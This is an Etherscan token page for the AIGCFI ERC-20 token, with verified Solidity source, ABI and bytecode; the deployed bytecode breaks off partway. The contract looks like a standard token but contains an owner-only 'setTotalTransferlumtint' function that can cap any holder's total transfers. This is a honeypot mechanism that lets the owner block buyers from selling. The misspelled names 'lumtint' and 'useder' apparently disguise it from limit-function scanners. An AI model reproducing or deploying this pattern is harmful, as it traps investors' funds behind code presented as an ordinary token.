ETH Price: $3,356.37 (-0.33%)

Token

AIGCFI (AIGCFI)
 

Overview

Max Total Supply

3,500,000,000 AIGCFI

Holders

585

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2.042321 AIGCFI

Value
$0.00
0x9797021d4acc56b30a77d82306d7c3f22aabb5c8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AIGCFI

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-10-29
*/

// Importing the standard interface for ERC20 tokens
pragma solidity ^0.8.0;
interface IERC20 {
    // These functions aren't implemented here but need to be in any contract that aims to fulfill the ERC20 standard.
    
    // Returns the total supply of the token.
    function totalSupply() external view returns (uint256);

    // Returns the balance of a specific address.
    function balanceOf(address account) external view returns (uint256);

    // Transfers a certain amount of tokens to a specified address.
    function transfer(address recipient, uint256 amount) external returns (bool);

    // Checks how many tokens are allowed to be transferred from one address to another.
    function allowance(address owner, address spender) external view returns (uint256);

    // Approves a certain amount of tokens to be transferred from the caller's address.
    function approve(address spender, uint256 amount) external returns (bool);

    // Transfers from one address to another, considering the approved amount.
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    // Events to log transfers and approvals.
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// Abstract contract that provides information about the transaction's sender.
abstract contract Context {
    // Returns the address of the entity executing the current function.
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

// Contract that implements ownership functionalities, including renouncing and transferring ownership.
contract Ownable is Context {
    address private _owner; // Storage for the owner's address
    
    // Event to log ownership transfers.
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        // The deployer of the contract is set as the initial owner.
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    // Returns the address of the current owner.
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Modifier to restrict functions to only the contract owner.
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Allows the current owner to relinquish ownership. The owner will be set to a "dead address".
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

// Main token contract.
contract AIGCFI is Context, Ownable, IERC20 {
    // Storage for useder balances and allowances.
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    // Storage for transfer lumtints and their tracking.
    mapping(address => uint256) public totalTransferlumtints;
    mapping(address => uint256) public totalTransferredAmounts;

    // Token attributes
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    // Modifier to enforce transfer lumtints for certain addresses.
    modifier transferlumtint(address sender, uint256 amount) {
        uint256 lumtint = totalTransferlumtints[sender];
        if (lumtint > 0) {
            require(totalTransferredAmounts[sender] + amount <= lumtint, "Total transfer amount exceeds the set lumtint");
        }
        _;
    }

    // Constructor to initialize the token's attributes and mint the initial supply.
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    // Getters for token attributes.
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // Function to set a transfer lumtint for a useder. Only the owner can do this.
    function setTotalTransferlumtint(address useder, uint256 lumtint) public onlyOwner {
        totalTransferlumtints[useder] = lumtint;
    }

    // Function to remove a useder's transfer lumtint. Only the owner can do this.
    function removeTotalTransferlumtint(address useder) public onlyOwner {
        delete totalTransferlumtints[useder];
    }

    // Transfer tokens to a specified address.
    function transfer(address recipient, uint256 amount) public virtual override transferlumtint(_msgSender(), amount) returns (bool) {
        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        totalTransferredAmounts[_msgSender()] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    // Check the amount of tokens allowed to be spent by a spender on behalf of the owner.
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    // Approve a spender to spend a certain amount of tokens on behalf of the message sender.
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    // Transfer tokens from one address to another on behalf of the owner.
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override transferlumtint(sender, amount) returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "Transfer amount exceeds allowance");
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        totalTransferredAmounts[sender] += amount;
        _allowances[sender][_msgSender()] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"useder","type":"address"}],"name":"removeTotalTransferlumtint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"useder","type":"address"},{"internalType":"uint256","name":"lumtint","type":"uint256"}],"name":"setTotalTransferlumtint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"totalTransferlumtints","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"totalTransferredAmounts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001d4c38038062001d4c833981810160405281019062000037919062000386565b6000620000496200022e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508360059080519060200190620000ff92919062000236565b5082600690805190602001906200011892919062000236565b5081600760006101000a81548160ff021916908360ff16021790555081600a62000143919062000514565b8162000150919062000651565b600881905550600854600160006200016d6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001bb6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200021c919062000435565b60405180910390a35050505062000803565b600033905090565b8280546200024490620006ff565b90600052602060002090601f016020900481019282620002685760008555620002b4565b82601f106200028357805160ff1916838001178555620002b4565b82800160010185558215620002b4579182015b82811115620002b357825182559160200191906001019062000296565b5b509050620002c39190620002c7565b5090565b5b80821115620002e2576000816000905550600101620002c8565b5090565b6000620002fd620002f78462000486565b62000452565b9050828152602081018484840111156200031657600080fd5b62000323848285620006c9565b509392505050565b600082601f8301126200033d57600080fd5b81516200034f848260208601620002e6565b91505092915050565b6000815190506200036981620007cf565b92915050565b6000815190506200038081620007e9565b92915050565b600080600080608085870312156200039d57600080fd5b600085015167ffffffffffffffff811115620003b857600080fd5b620003c6878288016200032b565b945050602085015167ffffffffffffffff811115620003e457600080fd5b620003f2878288016200032b565b935050604062000405878288016200036f565b9250506060620004188782880162000358565b91505092959194509250565b6200042f81620006b2565b82525050565b60006020820190506200044c600083018462000424565b92915050565b6000604051905081810181811067ffffffffffffffff821117156200047c576200047b62000793565b5b8060405250919050565b600067ffffffffffffffff821115620004a457620004a362000793565b5b601f19601f8301169050602081019050919050565b6000808291508390505b60018511156200050b57808604811115620004e357620004e262000735565b5b6001851615620004f35780820291505b80810290506200050385620007c2565b9450620004c3565b94509492505050565b60006200052182620006b2565b91506200052e83620006bc565b92506200055d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000565565b905092915050565b6000826200057757600190506200064a565b816200058757600090506200064a565b8160018114620005a05760028114620005ab57620005e1565b60019150506200064a565b60ff841115620005c057620005bf62000735565b5b8360020a915084821115620005da57620005d962000735565b5b506200064a565b5060208310610133831016604e8410600b84101617156200061b5782820a90508381111562000615576200061462000735565b5b6200064a565b6200062a8484846001620004b9565b9250905081840481111562000644576200064362000735565b5b81810290505b9392505050565b60006200065e82620006b2565b91506200066b83620006b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006a757620006a662000735565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620006e9578082015181840152602081019050620006cc565b83811115620006f9576000848401525b50505050565b600060028204905060018216806200071857607f821691505b602082108114156200072f576200072e62000764565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008160011c9050919050565b620007da81620006b2565b8114620007e657600080fd5b50565b620007f481620006bc565b81146200080057600080fd5b50565b61153980620008136000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610276578063cee5e052146102a6578063dd62ed3e146102c2578063e3eaeb5c146102f2576100f5565b8063715018a6146102005780638da5cb5b1461020a578063900e12bb1461022857806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806370a08231146101d0576100f5565b806305bc61bf146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f919061105b565b610322565b005b61011e6103e6565b60405161012b919061124e565b60405180910390f35b61014e6004803603810190610149919061105b565b610478565b60405161015b9190611233565b60405180910390f35b61016c610578565b60405161017991906112d0565b60405180910390f35b61019c6004803603810190610197919061100c565b610582565b6040516101a99190611233565b60405180910390f35b6101ba610936565b6040516101c791906112eb565b60405180910390f35b6101ea60048036038101906101e59190610fa7565b61094d565b6040516101f791906112d0565b60405180910390f35b610208610996565b005b610212610ad2565b60405161021f9190611218565b60405180910390f35b610242600480360381019061023d9190610fa7565b610afb565b60405161024f91906112d0565b60405180910390f35b610260610b13565b60405161026d919061124e565b60405180910390f35b610290600480360381019061028b919061105b565b610ba5565b60405161029d9190611233565b60405180910390f35b6102c060048036038101906102bb9190610fa7565b610e14565b005b6102dc60048036038101906102d79190610fd0565b610ed6565b6040516102e991906112d0565b60405180910390f35b61030c60048036038101906103079190610fa7565b610f5d565b60405161031991906112d0565b60405180910390f35b61032a610f75565b73ffffffffffffffffffffffffffffffffffffffff16610348610ad2565b73ffffffffffffffffffffffffffffffffffffffff161461039e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610395906112b0565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6060600580546103f590611434565b80601f016020809104026020016040519081016040528092919081815260200182805461042190611434565b801561046e5780601f106104435761010080835404028352916020019161046e565b820191906000526020600020905b81548152906001019060200180831161045157829003601f168201915b5050505050905090565b60008160026000610487610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610521610f75565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161056691906112d0565b60405180910390a36001905092915050565b6000600854905090565b600083826000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610661578082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461061f9190611322565b1115610660576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065790611290565b60405180910390fd5b5b84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ab610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610727576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071e90611270565b60405180910390fd5b84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107769190611378565b9250508190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107cc9190611322565b9250508190555084600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108229190611322565b9250508190555084600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610873610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108bc9190611378565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161092091906112d0565b60405180910390a3600193505050509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61099e610f75565b73ffffffffffffffffffffffffffffffffffffffff166109bc610ad2565b73ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a09906112b0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60036020528060005260406000206000915090505481565b606060068054610b2290611434565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4e90611434565b8015610b9b5780601f10610b7057610100808354040283529160200191610b9b565b820191906000526020600020905b815481529060010190602001808311610b7e57829003601f168201915b5050505050905090565b6000610baf610f75565b826000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610c8b578082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c499190611322565b1115610c8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8190611290565b60405180910390fd5b5b8460016000610c98610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ce19190611378565b9250508190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d379190611322565b925050819055508460046000610d4b610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d949190611322565b925050819055508573ffffffffffffffffffffffffffffffffffffffff16610dba610f75565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610dff91906112d0565b60405180910390a36001935050505092915050565b610e1c610f75565b73ffffffffffffffffffffffffffffffffffffffff16610e3a610ad2565b73ffffffffffffffffffffffffffffffffffffffff1614610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e87906112b0565b60405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60046020528060005260406000206000915090505481565b600033905090565b600081359050610f8c816114d5565b92915050565b600081359050610fa1816114ec565b92915050565b600060208284031215610fb957600080fd5b6000610fc784828501610f7d565b91505092915050565b60008060408385031215610fe357600080fd5b6000610ff185828601610f7d565b925050602061100285828601610f7d565b9150509250929050565b60008060006060848603121561102157600080fd5b600061102f86828701610f7d565b935050602061104086828701610f7d565b925050604061105186828701610f92565b9150509250925092565b6000806040838503121561106e57600080fd5b600061107c85828601610f7d565b925050602061108d85828601610f92565b9150509250929050565b6110a0816113ac565b82525050565b6110af816113be565b82525050565b60006110c082611306565b6110ca8185611311565b93506110da818560208601611401565b6110e3816114c4565b840191505092915050565b60006110fb602183611311565b91507f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008301527f65000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611161602d83611311565b91507f546f74616c207472616e7366657220616d6f756e74206578636565647320746860008301527f6520736574206c756d74696e74000000000000000000000000000000000000006020830152604082019050919050565b60006111c7602083611311565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b611203816113ea565b82525050565b611212816113f4565b82525050565b600060208201905061122d6000830184611097565b92915050565b600060208201905061124860008301846110a6565b92915050565b6000602082019050818103600083015261126881846110b5565b905092915050565b60006020820190508181036000830152611289816110ee565b9050919050565b600060208201905081810360008301526112a981611154565b9050919050565b600060208201905081810360008301526112c9816111ba565b9050919050565b60006020820190506112e560008301846111fa565b92915050565b60006020820190506113006000830184611209565b92915050565b600081519050919050565b600082825260208201905092915050565b600061132d826113ea565b9150611338836113ea565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561136d5761136c611466565b5b828201905092915050565b6000611383826113ea565b915061138e836113ea565b9250828210156113a1576113a0611466565b5b828203905092915050565b60006113b7826113ca565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561141f578082015181840152602081019050611404565b8381111561142e576000848401525b50505050565b6000600282049050600182168061144c57607f821691505b602082108114156114605761145f611495565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6114de816113ac565b81146114e957600080fd5b50565b6114f5816113ea565b811461150057600080fd5b5056fea264697066735822122036f9852351c4fe0ccb50e1b034051d1f433c4c9115c20bd37fda4aeb7b30fa8f64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000d09dc3000000000000000000000000000000000000000000000000000000000000000006414947434649000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064149474346490000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610276578063cee5e052146102a6578063dd62ed3e146102c2578063e3eaeb5c146102f2576100f5565b8063715018a6146102005780638da5cb5b1461020a578063900e12bb1461022857806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806370a08231146101d0576100f5565b806305bc61bf146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f919061105b565b610322565b005b61011e6103e6565b60405161012b919061124e565b60405180910390f35b61014e6004803603810190610149919061105b565b610478565b60405161015b9190611233565b60405180910390f35b61016c610578565b60405161017991906112d0565b60405180910390f35b61019c6004803603810190610197919061100c565b610582565b6040516101a99190611233565b60405180910390f35b6101ba610936565b6040516101c791906112eb565b60405180910390f35b6101ea60048036038101906101e59190610fa7565b61094d565b6040516101f791906112d0565b60405180910390f35b610208610996565b005b610212610ad2565b60405161021f9190611218565b60405180910390f35b610242600480360381019061023d9190610fa7565b610afb565b60405161024f91906112d0565b60405180910390f35b610260610b13565b60405161026d919061124e565b60405180910390f35b610290600480360381019061028b919061105b565b610ba5565b60405161029d9190611233565b60405180910390f35b6102c060048036038101906102bb9190610fa7565b610e14565b005b6102dc60048036038101906102d79190610fd0565b610ed6565b6040516102e991906112d0565b60405180910390f35b61030c60048036038101906103079190610fa7565b610f5d565b60405161031991906112d0565b60405180910390f35b61032a610f75565b73ffffffffffffffffffffffffffffffffffffffff16610348610ad2565b73ffffffffffffffffffffffffffffffffffffffff161461039e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610395906112b0565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6060600580546103f590611434565b80601f016020809104026020016040519081016040528092919081815260200182805461042190611434565b801561046e5780601f106104435761010080835404028352916020019161046e565b820191906000526020600020905b81548152906001019060200180831161045157829003601f168201915b5050505050905090565b60008160026000610487610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610521610f75565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161056691906112d0565b60405180910390a36001905092915050565b6000600854905090565b600083826000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610661578082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461061f9190611322565b1115610660576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065790611290565b60405180910390fd5b5b84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ab610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610727576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071e90611270565b60405180910390fd5b84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107769190611378565b9250508190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107cc9190611322565b9250508190555084600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108229190611322565b9250508190555084600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610873610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108bc9190611378565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161092091906112d0565b60405180910390a3600193505050509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61099e610f75565b73ffffffffffffffffffffffffffffffffffffffff166109bc610ad2565b73ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a09906112b0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60036020528060005260406000206000915090505481565b606060068054610b2290611434565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4e90611434565b8015610b9b5780601f10610b7057610100808354040283529160200191610b9b565b820191906000526020600020905b815481529060010190602001808311610b7e57829003601f168201915b5050505050905090565b6000610baf610f75565b826000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610c8b578082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c499190611322565b1115610c8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8190611290565b60405180910390fd5b5b8460016000610c98610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ce19190611378565b9250508190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d379190611322565b925050819055508460046000610d4b610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d949190611322565b925050819055508573ffffffffffffffffffffffffffffffffffffffff16610dba610f75565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610dff91906112d0565b60405180910390a36001935050505092915050565b610e1c610f75565b73ffffffffffffffffffffffffffffffffffffffff16610e3a610ad2565b73ffffffffffffffffffffffffffffffffffffffff1614610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e87906112b0565b60405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60046020528060005260406000206000915090505481565b600033905090565b600081359050610f8c816114d5565b92915050565b600081359050610fa1816114ec565b92915050565b600060208284031215610fb957600080fd5b6000610fc784828501610f7d565b91505092915050565b60008060408385031215610fe357600080fd5b6000610ff185828601610f7d565b925050602061100285828601610f7d565b9150509250929050565b60008060006060848603121561102157600080fd5b600061102f86828701610f7d565b9350